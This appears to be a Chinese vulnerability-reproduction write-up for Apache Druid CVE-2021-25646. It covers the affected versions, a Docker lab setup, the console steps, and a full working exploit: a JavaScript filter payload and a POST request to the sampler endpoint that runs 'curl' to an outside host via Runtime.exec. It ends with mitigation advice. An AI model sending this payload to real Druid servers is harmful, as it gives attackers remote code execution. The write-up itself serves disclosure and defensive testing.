文章来源:Timeline Sec 0x01 简介

Druid不仅是一个数据库连接池,还包含一个ProxyDriver、一系列内置的JDBC组件库、一个SQL Parser。

支持所有JDBC兼容的数据库,包括Oracle、MySql、Derby、Postgresql、SQL Server、H2等。

0x02 漏洞概述

编号:CVE-2021-25646 Apache Druid 包括执行用户提供的 JavaScript 的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在 Druid 0.20.0 及更低版本中,经过身份验证的用户可以构造传入的json串来控制一些敏感的参数发送恶意请求,利用 Apache Druid 漏洞可以执行任意代码。

0x03 影响版本

Apache Druid < 0.20.1

0x04 环境搭建

Apache Druid:0.16.0 参考现有的低版本druid docker pull fokkodriesprong/docker-druid docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid

0x05 漏洞复现

访问8888端口,进入Druid console 图片

点击Load data -> Local disk

图片

填入 Base directory: quickstart/tutorial/ File filter: wikiticker-2015-09-12-sampled.json.gz

图片

一直点击next到filter项(设置步骤可参考:https://druid.apache.org/docs/latest/tutorials/index.html)

图片

抓包修改filter为 { "type":"javascript", "function":"function(value){return java.lang.Runtime.getRuntime().exec('curl ip:8000')}", "dimension":"added", "":{ "enabled":"true" } }

对应post包为(执行的命令:curl ip:8000) POST /druid/indexer/v1/sampler?for=filter HTTP/1.1 Host: tls.com:8888 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0 Accept: application/json, text/plain, / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json;charset=utf-8 Content-Length: 623 Origin: http://tls.com:8888 Connection: close Referer: http://tls.com:8888/unified-console.html

{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript", "function":"function(value){return java.lang.Runtime.getRuntime().exec('curl yourip:8000')}", "dimension":"added", "":{ "enabled":"true" } }}}},"samplerConfig":{"numRows":500,"cacheKey":"79a5be988bf94d42a6f219b63ff27383"}}

图片

0x07 修复方式

升级Apache Druid 到最新的版本 对Apache Druid进行权限控制,只允许受信任的主机访问集群服务器

参考链接: https://github.com/Fokko/docker-druid https://druid.apache.org/docs/latest/tutorials/index.html